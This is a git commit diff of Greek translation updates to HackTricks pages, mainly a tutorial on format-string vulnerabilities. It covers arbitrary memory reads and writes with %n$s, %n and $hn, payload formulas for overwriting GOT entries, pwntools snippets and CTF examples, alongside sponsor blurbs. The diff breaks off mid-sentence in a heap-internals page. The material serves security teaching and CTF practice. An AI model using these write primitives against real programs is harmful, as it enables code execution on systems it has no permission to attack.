Translated ['README.md', 'binary-exploitation/format-strings/README.md',

This commit is contained in:
Translator 2024-11-19 12:04:55 +00:00
parent aed871d79f
commit 0536d7dedb
35 changed files with 478 additions and 481 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 107 KiB

View file

@ -55,7 +55,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας. Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα: Αποκτήστε πρόσβαση σήμερα:
@ -65,13 +65,13 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
### [HACKENPROOF](https://bit.ly/3xrrDrL) ### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Ελάτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty! Ελάτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
* **Insights για Hacking:** Συμμετοχή σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking * **Insights για Hacking:** Συμμετοχή σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
* **Ειδήσεις Hack σε Πραγματικό Χρόνο:** Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και insights σε πραγματικό χρόνο * **Ειδήσεις Hack σε Πραγματικό Χρόνο:** Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και insights σε πραγματικό χρόνο
* **Τελευταίες Ανακοινώσεις:** Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounty και κρίσιμες ενημερώσεις πλατφόρμας * **Τελευταίες Ανακοινώσεις:** Μείνετε ενημερωμένοι με τις πιο πρόσφατες βραβεύσεις bug που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Ελάτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους hackers σήμερα! **Ελάτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
@ -79,7 +79,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Το απαραίτητο εργαλείο για penetration testing ### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Το απαραίτητο εργαλείο για penetration testing
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Αποκτήστε την προοπτική ενός hacker για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud** **Αποκτήστε την προοπτική ενός hacker για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**
@ -87,21 +87,18 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% endembed %}
*** ***
### [SerpApi](https://serpapi.com/) ### [SerpApi](https://serpapi.com/)
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape μηχανές αναζήτησης, διαχειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς. **SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape-άρουν τις μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
Μια συνδρομή σε ένα από τα σχέδια του SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων των Google, Bing, Baidu, Yahoo, Yandex και άλλων.\ Μια συνδρομή σε ένα από τα σχέδια του SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων των Google, Bing, Baidu, Yahoo, Yandex και άλλων.\
Σε αντίθεση με άλλους παρόχους, **το SerpApi δεν κάνει απλώς scrape οργανικών αποτελεσμάτων**. Οι απαντήσεις του SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης. Σε αντίθεση με άλλους παρόχους, **η SerpApi δεν scrape-άρει μόνο οργανικά αποτελέσματα**. Οι απαντήσεις της SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
Οι τρέχοντες πελάτες του SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\ Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\
Για περισσότερες πληροφορίες, ελέγξτε το [**blog**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)**.**\ Για περισσότερες πληροφορίες, ελέγξτε το [**blog**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)**.**\
Μπορείτε να **δημιουργήσετε έναν δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign\_up)**.** Μπορείτε να **δημιουργήσετε έναν δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign\_up)**.**
@ -111,11 +108,11 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **στην προστασία** επιχειρήσεων **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με **σύγχρονη** προσέγγιση. [**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **στην προστασία** επιχειρήσεων **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας**, που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Exploit, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα. Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας**, που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Exploit, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα.
Ένα άλλο ενδιαφέρον πράγμα για την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις ικανότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, αναφέρει στην ιστοσελίδα της "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους! Ένα άλλο ενδιαφέρον πράγμα για την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις ικανότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, δηλώνει στην ιστοσελίδα της "**Αν δεν μπορούμε να το hack-άρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
Επιπλέον, η WebSec είναι επίσης **δεσμευμένος υποστηρικτής του HackTricks.** Επιπλέον, η WebSec είναι επίσης **δεσμευμένος υποστηρικτής του HackTricks.**

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
@ -27,7 +27,7 @@ In C **`printf`** είναι μια συνάρτηση που μπορεί να
Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**. Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**.
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έχοντας έτσι τη δυνατότητα να **εκτελέσει αυθαίρετο κώδικα**. Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **printf format** string για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έχοντας έτσι τη δυνατότητα να **εκτελέσει αυθαίρετο κώδικα**.
#### Formatters: #### Formatters:
```bash ```bash
@ -87,12 +87,12 @@ printf("%4$x")
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `printf`, **που σημαίνει βασικά ότι** η είσοδός του θα είναι στη στοίβα όταν καλείται το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα. Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `printf`, **που σημαίνει βασικά ότι** η είσοδός του θα είναι στη στοίβα όταν καλείται το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
{% hint style="danger" %} {% hint style="danger" %}
Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετη διεύθυνση στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά. Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά.
{% endhint %} {% endhint %}
## **Αυθαίρετη Ανάγνωση** ## **Αυθαίρετη Ανάγνωση**
Είναι δυνατόν να χρησιμοποιηθεί ο μορφοποιητής **`%n$s`** για να κάνει το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με: Είναι δυνατόν να χρησιμοποιηθεί ο μορφοποιητής **`%n$s`** για να κάνει το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στην 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με:
```python ```python
from pwn import * from pwn import *
@ -155,7 +155,7 @@ p.close()
## **Αυθαίρετη Εγγραφή** ## **Αυθαίρετη Εγγραφή**
Ο μορφοποιητής **`%<num>$n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \<num> στο stack. Εάν ένας επιτιθέμενος μπορεί να γράψει τόσους χαρακτήρες όσους θέλει με το printf, θα είναι σε θέση να κάνει το **`%<num>$n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση. Ο μορφοποιητής **`%<num>$n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \<num> στο stack. Εάν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει με το printf, θα είναι σε θέση να κάνει το **`%<num>$n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
Ευτυχώς, για να γράψει τον αριθμό 9999, δεν χρειάζεται να προσθέσει 9999 "A"s στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**. Ευτυχώς, για να γράψει τον αριθμό 9999, δεν χρειάζεται να προσθέσει 9999 "A"s στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**.
```bash ```bash
@ -164,9 +164,9 @@ AAAA.%500\$08x —> Param at offset 500
``` ```
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα. Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (arbitrary write).** Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).**
Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές arbitrary write για exec: Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση:
{% content-ref url="../arbitrary-write-2-exec/" %} {% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/) [arbitrary-write-2-exec](../arbitrary-write-2-exec/)
@ -178,7 +178,7 @@ AAAA.%500\$08x —> Param at offset 500
* **HOB** καλείται για τα 2 υψηλότερα bytes της διεύθυνσης * **HOB** καλείται για τα 2 υψηλότερα bytes της διεύθυνσης
* **LOB** καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης * **LOB** καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης
Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο. Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και μετά το άλλο.
Αν HOB < LOB\ Αν HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -223,7 +223,7 @@ p.interactive()
``` ```
## Format Strings to BOF ## Format Strings to BOF
Είναι δυνατόν να καταχραστούμε τις ενέργειες εγγραφής μιας ευπάθειας μορφής συμβολοσειράς για να **γράψουμε σε διευθύνσεις της στοίβας** και να εκμεταλλευτούμε μια ευπάθεια τύπου **buffer overflow**. Είναι δυνατόν να καταχραστούμε τις ενέργειες εγγραφής μιας ευπάθειας μορφοποίησης συμβολοσειρών για να **γράψουμε σε διευθύνσεις της στοίβας** και να εκμεταλλευτούμε μια ευπάθεια τύπου **buffer overflow**.
## Other Examples & References ## Other Examples & References
@ -231,13 +231,13 @@ p.interactive()
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) * [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) * [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, no relro, no canary, nx, no pie, βασική χρήση μορφών συμβολοσειρών για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξει η ροή εκτέλεσης) * 32 bit, no relro, no canary, nx, no pie, βασική χρήση μορφοποίησης συμβολοσειρών για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξει η ροή εκτέλεσης)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win) * 32 bit, relro, no canary, nx, no pie, μορφοποίηση συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να γράψει μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψει τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, η `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί. * 32 bit, relro, no canary, nx, no pie, μορφοποίηση συμβολοσειράς για να γράψει μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψει τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_). Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).

View file

@ -10,7 +10,7 @@
### Basic Chunk Allocation ### Basic Chunk Allocation
Όταν ζητείται να αποθηκευτούν κάποια δεδομένα στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρηθούν για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνεται περίπλοκο να βρεθεί πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες chunk metadata για να γνωρίζουμε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk. Όταν ζητείται να αποθηκευτούν κάποια δεδομένα στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρηθούν για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνεται περίπλοκο να βρείτε πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες μεταδεδομένων του chunk για να γνωρίζουμε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk.
Υπάρχουν διάφοροι τρόποι για να δεσμευτεί ο χώρος, κυρίως ανάλογα με το χρησιμοποιούμενο bin, αλλά μια γενική μεθοδολογία είναι η εξής: Υπάρχουν διάφοροι τρόποι για να δεσμευτεί ο χώρος, κυρίως ανάλογα με το χρησιμοποιούμενο bin, αλλά μια γενική μεθοδολογία είναι η εξής:
@ -25,9 +25,9 @@
## Arenas ## Arenas
Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες αγώνα** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκαλούσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλούσε το mutex. Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκαλούσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλούσε το mutex.
Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "arenas", όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas. Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε "arenas," όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas.
Η προεπιλεγμένη "κύρια" arena χειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες arenas** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη arena, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις arenas**, οδηγώντας σε πιθανή αντιπαλότητα. Η προεπιλεγμένη "κύρια" arena χειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες arenas** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε 